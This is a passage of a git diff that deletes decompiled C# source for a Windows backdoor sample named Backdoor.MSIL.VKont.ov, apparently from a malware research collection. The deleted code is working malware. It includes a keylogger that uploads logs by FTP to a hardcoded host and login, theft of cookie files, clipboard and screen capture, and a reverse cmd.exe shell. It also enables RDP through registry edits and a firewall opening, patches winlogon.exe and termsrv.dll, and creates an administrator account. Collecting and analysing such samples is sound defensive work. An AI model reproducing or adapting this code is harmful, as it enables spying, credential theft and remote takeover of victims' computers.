StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read)); - string str = file.FullName + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - } - catch - { - } - } - } - } - } - } - } - catch - { - } - } - Program.CherezShto("null", smail, sftp, spapka); - } - catch - { - } - } - - [STAThread] - private static void Main(string[] args) - { - Console.Title = args.Length != 0 ? args[0].ToString() : "Hello"; - Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0); - } - - public static void Backdoor() - { - try - { - Thread tsend = new Thread((ThreadStart) (() => - { - try - { - Program.processCmd = new Process(); - Program.processCmd.StartInfo.FileName = "cmd.exe"; - Program.processCmd.StartInfo.CreateNoWindow = true; - Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; - Program.processCmd.StartInfo.UseShellExecute = false; - Program.processCmd.StartInfo.RedirectStandardOutput = true; - Program.processCmd.StartInfo.RedirectStandardInput = true; - Program.processCmd.StartInfo.RedirectStandardError = true; - Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc); - Program.processCmd.Start(); - Program.processCmd.BeginOutputReadLine(); - Program.strInput = new StringBuilder(); - try - { - while (true) - { - Program.strInput.Append(Program.streamReader.ReadLine()); - Program.strInput.Append("\n"); - Program.processCmd.StandardInput.WriteLine((object) Program.strInput); - Program.processCmd.StandardInput.Flush(); - Program.strInput.Remove(0, Program.strInput.Length); - } - } - catch (Exception ex) - { - } - } - catch - { - } - })); - new Thread((ThreadStart) (() => - { - try - { - Program.socketForServer = new TcpClient("0", 0); - Program.networkStream = Program.socketForServer.GetStream(); - Program.streamReader = new StreamReader((Stream) Program.networkStream); - Program.streamWriter = new StreamWriter((Stream) Program.networkStream); - tsend.Start(); - } - catch - { - } - })).Start(); - } - catch - { - } - } - - private static void proc(object sender, DataReceivedEventArgs e) - { - StringBuilder stringBuilder = new StringBuilder(); - if (string.IsNullOrEmpty(e.Data)) - return; - try - { - stringBuilder.Append(e.Data); - Program.streamWriter.WriteLine((object) stringBuilder); - Program.streamWriter.Flush(); - } - catch - { - } - } - - public static void FileP() - { - try - { - if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache")) - { - int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length; - for (int index = 0; index < length; ++index) - { - try - { - System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]); - } - catch - { - } - } - } - if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot")) - return; - for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1) - { - for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2) - { - FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]); - try - { - Console.WriteLine(fileInfo.Name); - fileInfo.Delete(); - --index2; - } - catch - { - } - } - } - } - catch - { - } - } - - public static void RegConfig() - { - try - { - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true); - registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord); - registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord); - registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord); - registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String); - registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String); - RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true); - registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true); - registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey4 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\TDTCP\\Enum", true); - registryKey4.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey4.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey4.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey5 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", true); - registryKey5.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSAdvertise", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("IdleWinStationPoolCount", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSAppCompat", (object) "00000000", RegistryValueKind.DWord); - registryKey5.SetValue("TSEnabled", (object) "00000001", RegistryValueKind.DWord); - registryKey5.SetValue("TSUserEnabled", (object) "00000000", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000000", RegistryValueKind.DWord); - RegistryKey registryKey6 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\RDPWD\\Enum", true); - registryKey6.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String); - registryKey6.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey6.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String); - RegistryKey registryKey7 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\TDTCP\\Enum", true); - registryKey7.SetValue("0", (object) "Root\\LEGACY_TDTCP\\0000", RegistryValueKind.String); - registryKey7.SetValue("Count", (object) "00000001", RegistryValueKind.DWord); - registryKey7.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord); - RegistryKey registryKey8 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true); - registryKey8.SetValue("SFCSetting", (object) -99, RegistryValueKind.DWord); - registryKey8.SetValue("SFCDisable", (object) -99, RegistryValueKind.DWord); - Registry.LocalMachine.OpenSubKey("SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", true).SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - RegistryKey registryKey9 = Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", true); - registryKey9.SetValue("MaxInstanceCount", (object) "2", RegistryValueKind.DWord); - registryKey9.SetValue("fEnableWinStation", (object) "00000001", RegistryValueKind.DWord); - } - catch - { - } - } - - public static void RDP_M() - { - } - - public static void WinLogon() - { - try - { - if (!System.IO.File.Exists(Environment.SystemDirectory + "\\winlogon.exe")) - return; - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.bak"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.tmp"); - FileStream fileStream = new FileStream(Environment.SystemDirectory + "\\winlogon.tmp", FileMode.Open); - byte[] buffer = new byte[fileStream.Length]; - fileStream.Read(buffer, 0, (int) fileStream.Length); - buffer[94] = (byte) 110; - buffer[173347] = (byte) 85; - buffer[173348] = (byte) 139; - buffer[173349] = (byte) 236; - buffer[173437] = (byte) 139; - buffer[173438] = byte.MaxValue; - buffer[173439] = (byte) 85; - BinaryWriter binaryWriter = new BinaryWriter((Stream) new FileStream(Environment.SystemDirectory + "\\winlogon.bak", FileMode.Create)); - binaryWriter.Write(buffer); - binaryWriter.Close(); - fileStream.Close(); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\winlogon.exe", Environment.SystemDirectory + "\\Dllcache\\winlogon.del"); - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - } - else - System.IO.File.Copy(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\Dllcache\\winlogon.exe"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.exe", Environment.SystemDirectory + "\\winlogon.del"); - System.IO.File.Move(Environment.SystemDirectory + "\\winlogon.bak", Environment.SystemDirectory + "\\winlogon.exe"); - } - catch - { - } - } - - public static void TermSrv() - { - string str = Program.TimeNow(); - try - { - if (System.IO.File.Exists(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll")) - { - System.IO.File.Move(Environment.SystemDirectory + "\\Dllcache\\termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - } - else - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\Dllcache\\termsrv.dll"); - if (System.IO.File.Exists(Environment.SystemDirectory + "\\termsrv.dll")) - System.IO.File.Move(Environment.SystemDirectory + "\\termsrv.dll", Environment.SystemDirectory + "\\termsrv" + str + ".dll"); - System.IO.File.Copy("termsrv.dll", Environment.SystemDirectory + "\\termsrv.dll"); - } - catch (Exception ex) - { - Console.WriteLine(ex.Message); - } - } - - public static void CreateUser(string UserName, string Password) - { - try - { - DirectoryEntry directoryEntry1 = new DirectoryEntry("WinNT://" + Environment.MachineName + ",Computer"); - DirectoryEntry directoryEntry2 = directoryEntry1.Children.Add(UserName, "user"); - directoryEntry2.Invoke("SetPassword", (object) Password); - directoryEntry2.CommitChanges(); - try - { - directoryEntry1.Children.Find("Администраторы", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - try - { - directoryEntry1.Children.Find("Administrators", "group")?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - } - } - DirectoryEntry directoryEntry3; - try - { - directoryEntry3 = directoryEntry1.Children.Find("Пользователи удаленного рабочего стола", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - catch - { - directoryEntry3 = directoryEntry1.Children.Find("Remote Desktop Users", "group"); - directoryEntry3?.Invoke("Add", (object) directoryEntry2.Path.ToString()); - } - directoryEntry3.Close(); - directoryEntry1.Close(); - directoryEntry2.Close(); - } - catch - { - } - } - - private static void proces(string proc) - { - bool flag = true; - try - { - while (flag) - { - Application.DoEvents(); - Process[] processArray = (Process[]) null; - for (int index = 0; index < processArray.Length; ++index) - { - processArray = Process.GetProcesses(); - Thread.Sleep(20); - if (processArray[index].ProcessName == proc) - processArray[index].Kill(); - } - } - } - catch - { - } - } - - private static void key() - { - try - { - Thread.Sleep(100); - Application.EnableVisualStyles(); - Application.SetCompatibleTextRenderingDefault(false); - Program._hookID = Program.SetHook(Program._proc); - Application.Run(); - Program.UnhookWindowsHookEx(Program._hookID); - } - catch - { - } - } - - private static void Screnn() - { - for (int index = 1; index <= 0; ++index) - { - Thread.Sleep(TimeSpan.FromSeconds(0.0)); - new Program.ScreenShotDll().CaptureScreen("null" + Program.TimeNow() + ".Jpeg", ImageFormat.Jpeg); - } - } - - private static bool buffDlin() - { - int length = "null".Length; - return true; - } - - private static bool buffZ() - { - Program.buflyb = (string) null; - int length = "null".Length; - return true; - } - - private static bool buffCritery() => Program.buffZ(); - - private static void strBuffer() - { - bool flag = true; - while (true) - { - do - { - IDataObject dataObject; - do - { - do - { - Application.DoEvents(); - Thread.Sleep(100); - } - while (!flag); - dataObject = Clipboard.GetDataObject(); - } - while (Program.strbug == (string) dataObject.GetData(DataFormats.Text) || !dataObject.GetDataPresent(DataFormats.Text)); - Program.strbug = (string) dataObject.GetData(DataFormats.Text); - } - while (!flag || !Program.buffCritery()); - Clipboard.SetDataObject((object) "null"); - } - } - - private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); - - public class ScreenShotDll - { - public void CaptureScreen(string fileName, ImageFormat imageFormat) - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - this.SaveImageAs(compatibleBitmap, fileName, imageFormat); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - } - - public Bitmap CaptureScreen() - { - int windowDc = Program.User32.GetWindowDC(Program.User32.GetDesktopWindow()); - int compatibleDc = Program.GDI32.CreateCompatibleDC(windowDc); - int compatibleBitmap = Program.GDI32.CreateCompatibleBitmap(windowDc, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10)); - Program.GDI32.SelectObject(compatibleDc, compatibleBitmap); - Program.GDI32.BitBlt(compatibleDc, 0, 0, Program.GDI32.GetDeviceCaps(windowDc, 8), Program.GDI32.GetDeviceCaps(windowDc, 10), windowDc, 0, 0, 13369376); - Bitmap image = this.GetImage(compatibleBitmap); - this.Cleanup(compatibleBitmap, windowDc, compatibleDc); - return image; - } - - private void Cleanup(int hBitmap, int hdcSrc, int hdcDest) - { - Program.User32.ReleaseDC(Program.User32.GetDesktopWindow(), hdcSrc); - Program.GDI32.DeleteDC(hdcDest); - Program.GDI32.DeleteObject(hBitmap); - } - - private void SaveImageAs(int hBitmap, string fileName, ImageFormat imageFormat) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height).Save(fileName, imageFormat); - - private Bitmap GetImage(int hBitmap) => new Bitmap((Image) Image.FromHbitmap(new IntPtr(hBitmap)), Image.FromHbitmap(new IntPtr(hBitmap)).Width, Image.FromHbitmap(new IntPtr(hBitmap)).Height); - } - - private class User32 - { - [DllImport("User32.dll")] - public static extern int GetDesktopWindow(); - - [DllImport("User32.dll")] - public static extern int GetWindowDC(int hWnd); - - [DllImport("User32.dll")] - public static extern int ReleaseDC(int hWnd, int hDC); - } - - private class GDI32 - { - [DllImport("GDI32.dll")] - public static extern bool BitBlt( - int hdcDest, - int nXDest, - int nYDest, - int nWidth, - int nHeight, - int hdcSrc, - int nXSrc, - int nYSrc, - int dwRop); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleBitmap(int hdc, int nWidth, int nHeight); - - [DllImport("GDI32.dll")] - public static extern int CreateCompatibleDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteDC(int hdc); - - [DllImport("GDI32.dll")] - public static extern bool DeleteObject(int hObject); - - [DllImport("GDI32.dll")] - public static extern int GetDeviceCaps(int hdc, int nIndex); - - [DllImport("GDI32.dll")] - public static extern int SelectObject(int hdc, int hgdiobj); - } - } -} diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj deleted file mode 100644 index a9f2e28f..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.csproj +++ /dev/null @@ -1,43 +0,0 @@ - - - - - Debug - AnyCPU - {16193AB0-F188-4FA9-A294-591D9518098D} - Exe - erer - 0.0.0.0 - Troj - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln deleted file mode 100644 index a717bbb6..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Backdoor.MSIL.VKont.ov.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "erer", "Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771.csproj", "{16193AB0-F188-4FA9-A294-591D9518098D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {16193AB0-F188-4FA9-A294-591D9518098D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {16193AB0-F188-4FA9-A294-591D9518098D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {16193AB0-F188-4FA9-A294-591D9518098D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {16193AB0-F188-4FA9-A294-591D9518098D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs deleted file mode 100644 index dc3bd642..00000000 --- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771/Program.cs +++ /dev/null @@ -1,961 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Troj.Program -// Assembly: erer, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B218A6D0-8457-4160-9687-D26D4DA84A93 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.VKont.ov-9ddbe7eea2793230644c5fb10e02b692de502fa4d3596fa401727cb8ea4b2771.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.DirectoryServices; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Net.Sockets; -using System.Runtime.InteropServices; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace Troj -{ - public class Program - { - private const int WH_KEYBOARD_LL = 13; - private const int WM_KEYDOWN = 256; - private static int svsex; - private static int sdosta; - private static string logkey; - private static int keycount = 0; - private static Thread[] thkey; - private static Thread[] tcherez; - private static int cerezcount = 0; - private static int keyI; - private static string strbug; - private static string strbuftx; - private static string buflyb; - private static int ftpi; - private static int countGroup = 0; - private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback); - private static IntPtr _hookID = IntPtr.Zero; - private static Thread th; - private static TcpClient socketForServer; - private static NetworkStream networkStream; - private static StreamWriter streamWriter; - private static StreamReader streamReader; - private static Process processCmd; - private static StringBuilder strInput; - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr SetWindowsHookEx( - int idHook, - Program.LowLevelKeyboardProc lpfn, - IntPtr hMod, - uint dwThreadId); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool UnhookWindowsHookEx(IntPtr hhk); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr CallNextHookEx( - IntPtr hhk, - int nCode, - IntPtr wParam, - IntPtr lParam); - - [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern IntPtr GetModuleHandle(string lpModuleName); - - [DllImport("user32.dll")] - public static extern IntPtr FindWindow(string lpClassName, string lpWindowName); - - [DllImport("user32.dll")] - private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); - - private static void SearchAll( - string disk, - string n_file, - string smail, - string sftp, - string spapka) - { - DirectoryInfo directoryInfo = new DirectoryInfo(disk); - try - { - foreach (DirectoryInfo directory in directoryInfo.GetDirectories()) - { - try - { - foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly)) - Program.CherezShto(file.FullName, smail, sftp, spapka); - } - catch - { - } - Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka); - } - } - catch - { - } - } - - private static IntPtr SetHook(Program.LowLevelKeyboardProc proc) - { - using (Process currentProcess = Process.GetCurrentProcess()) - { - using (ProcessModule mainModule = currentProcess.MainModule) - return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U); - } - } - - private static string TimeNow() - { - DateTime now = DateTime.Now; - return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString(); - } - - private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) - { - Program.thkey = new Thread[128]; - if (nCode >= 0 && wParam == (IntPtr) 256) - { - int num = Marshal.ReadInt32(lParam); - if (num == 13) - { - Program.logkey += "\n"; - } - else - { - ++Program.sdosta; - ++Program.svsex; - Program.logkey = Program.logkey + (object) (Keys) num + ";____;"; - if (Program.sdosta == 10) - { - Program.sdosta = 0; - string time = Program.TimeNow(); - try - { - StreamWriter streamWriter = new StreamWriter("windowsSystem32" + time + ".sys"); - streamWriter.Write(Program.logkey); - streamWriter.Close(); - Program.thkey[Program.keycount] = new Thread((ThreadStart) (() => - { - string str = time; - if (!Program.CherezShto("windowsSystem32" + str + ".sys", "False", "True", "New_Stealer_KeyLog")) - return; - new FileInfo("windowsSystem32" + str + ".sys").Delete(); - })); - Program.thkey[Program.keycount].Start(); - ++Program.keycount; - } - catch - { - } - if (Program.keycount > 120) - Program.keycount = 0; - Program.logkey = (string) null; - } - } - } - return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam); - } - - public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka) - { - try - { - foreach (string logicalDrive in Directory.GetLogicalDrives()) - Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka); - } - catch - { - } - } - - public static bool CherezShto(string strfile, string nmail, string nftp, string pftp) - { - if (nmail == "True" || nmail == "true") - Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false); - if (nftp == "True" || nmail == "true") - Program.Upload_ftp(strfile, "lordo.hop.ru", "w349497", "tkr53d88", pftp); - return true; - } - - public static void CreatFileIEforXP(string smail, string sftp, string spapka) - { - if (System.IO.File.Exists("null")) - System.IO.File.Delete("null"); - try - { - string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\"); - string[] strArray1 = new string[directories1.Length]; - for (int index1 = 0; index1 < directories1.Length; ++index1) - { - if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService")) - { - strArray1[index1] = directories1[index1].Substring(26); - string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString()); - string[] strArray2 = new string[directories2.Length]; - StreamReader streamReader = (StreamReader) null; - StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8); - for (int index2 = 0; index2 < directories2.Length; ++index2) - { - strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length); - if (strArray2[index2] == "\\Cookies") - { - string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt"); - string[] strArray3 = new string[files.Length]; - for (int index3 = 0; index3 < files.Length; ++index3) - { - strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length); - string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString(); - streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read)); - string str = path + "\n" + streamReader.ReadToEnd(); - streamWriter.Write(str); - } - streamReader.Close(); - streamWriter.Close(); - break; - } - } - } - } - Program.CherezShto("null", smail, sftp, spapka); - } - catch - { - if (!System.IO.File.Exists("null")) - return; - Program.CherezShto("null", smail, sftp, spapka); - } - } - - public static bool Sendmailfile( - string temp, - string user, - string ssmtp, - int sport, - string smail, - string spass, - string vmail, - bool sssl) - { - Attachment attachment = new Attachment(temp, "application/octet-stream"); - bool flag; - try - { - SmtpClient smtpClient = new SmtpClient(ssmtp, sport); - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass); - smtpClient.EnableSsl = sssl; - MailMessage message = new MailMessage(); - message.From = new MailAddress(smail); - message.To.Add(new MailAddress(vmail)); - message.Subject = user; - message.Body = user; - message.Attachments.Add(attachment); - smtpClient.Send(message); - attachment.Dispose(); - flag = true; - } - catch - { - flag = false; - attachment.Dispose(); - } - return flag; - } - - private static bool Upload_ftp( - string filename, - string ftpServerIP, - string ftpUserID, - string ftpPassword, - string papka) - { - ++Program.ftpi; - FileInfo fileInfo = new FileInfo(filename); - FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name)); - ftpWebRequest.Proxy = (IWebProxy) null; - ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword); - ftpWebRequest.KeepAlive = false; - ftpWebRequest.Method = "STOR"; - ftpWebRequest.UseBinary = true; - ftpWebRequest.ContentLength = fileInfo.Length; - int count1 = 2048; - byte[] buffer = new byte[count1]; - FileStream fileStream = fileInfo.OpenRead(); - try - { - Stream requestStream = ftpWebRequest.GetRequestStream(); - for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = 